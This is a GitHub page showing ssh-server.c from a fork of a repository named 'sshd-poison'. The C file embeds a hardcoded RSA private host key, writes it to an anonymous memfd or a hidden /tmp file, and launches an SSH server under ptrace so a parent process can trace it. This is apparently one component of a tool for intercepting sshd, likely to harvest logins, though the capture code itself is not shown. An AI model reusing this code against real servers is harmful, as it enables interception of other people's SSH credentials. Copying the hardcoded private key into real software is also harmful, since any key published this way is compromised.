forked from hc0d3r/sshd-poison
-
Notifications
You must be signed in to change notification settings - Fork 0
/
ssh-server.c
110 lines (87 loc) · 2.38 KB
/
ssh-server.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#define _GNU_SOURCE
#include "ssh-server.h"
#include <sys/mman.h>
#include <signal.h>
#include <sys/ptrace.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include "output.h"
#define expsize(x) x, (sizeof(x) - 1)
int create_tmpfile(char name[32])
{
int fd;
fd = memfd_create("tmp", 0);
if (fd != -1)
snprintf(name, 32,
"/proc/%d/fd/%d", getpid(), fd);
else
fd = mkstemp(name);
return fd;
}
char *create_hostkey(void)
{
static const char key[]=
"-----BEGIN RSA PRIVATE KEY-----\n"
"MIICXQIBAAKBgQDLKqgN799txUKg8LCzBTE+4GVDa4PsuGnwF50iqADxShC3yPWK\n"
"c0ZZUeh4nIAo+4W5D+DO0i0veudKBbyv5EBHSib6i5E8bdiyuuFAKwJtL9XIB9aZ\n"
"G7rzwoekTP+hOhbTd9FDd/F3TT0M/KAQYJEbHg3q7HlLG1AK8IdZfXt6hQIDAQAB\n"
"AoGAfWVsqH1/R/9SqockaLoxtP9HQR+hI4CHUnsgr31GZ6cxPl44vyV7LDIT7C2c\n"
"JK9pz9lvBfhPj1iqXNPBrEaTLNJQ6l7vk3NwRk5g73oR8VloSDzZiMq3CBwqhlrQ\n"
"HhS7WxS3//7fa98B03ILZge9v8K3Afl5IRa7+uB3htqSqxkCQQD7INV/W8UwtrWR\n"
"3f/AFzG0mvJibKAXuwaaOsVw7ucWj9ZQAJY0wrRamSe/7TbIhSEdrEpN5/ytJjVJ\n"
"0zGAalIfAkEAzxuiCt4TQzxHxctoPqiurqwyws5s+6WVeHtvP8QrE8JuH8iLzYiw\n"
"ZtbDdGy59JNDoLkWS0lH81PIycm94RWG2wJBAPYV5cDI0AH9eQ24qq60y9t8Xvr+\n"
"ER9QAZdO8j3Jjh/40X1SJd8L0SpanK4hqSZz9tCaDbIsG9oc7+kpEIATL+cCQEFA\n"
"S4VxAlCkpVhEBcv4CVEvH68QqnV+beFPwnUssQXAtEF/RcyzzCAaeeosd0n/O8df\n"
"iQ6fP/QB6bjpvtEznxECQQCVEyDM3h+jjkFAgloUe5pk5I9IMSr5MCiiOnZ3mccc\n"
"46kekkEMlZnSUgAujqDMKw/VQzSE0+D85zHjShjxVmX+\n"
"-----END RSA PRIVATE KEY-----\n";
static char filename[40] = "HostKey=/tmp/.XXXXXXXXXX";
char *hostkey;
int fd;
fd = create_tmpfile(filename + 8);
if (fd != -1) {
hostkey = filename;
fchmod(fd, 0600);
write(fd, expsize(key));
}
else
hostkey = NULL;
return hostkey;
}
pid_t exec_ssh_server(const char *output, const char *file, char * const argv[])
{
pid_t pid = fork();
int fd;
if (pid == 0) {
prctl(PR_SET_PDEATHSIG, SIGKILL);
/* check if parent pid exists */
if (kill(getppid(), 0))
kill(getpid(), SIGKILL);
if (output) {
fd = open(output, O_WRONLY);
if (fd != -1) {
dup2(fd, 1);
dup2(fd, 2);
if (fd > 2)
close(fd);
}
else {
say("failed to open %s\n", output);
dup2(2, 1);
}
}
else
/* redirect stdout output to stderr */
dup2(2, 1);
ptrace(PTRACE_TRACEME, 0, 0, NULL);
kill(getpid(), SIGSTOP);
execvp(file, argv);
_exit(1);
}
return pid;
}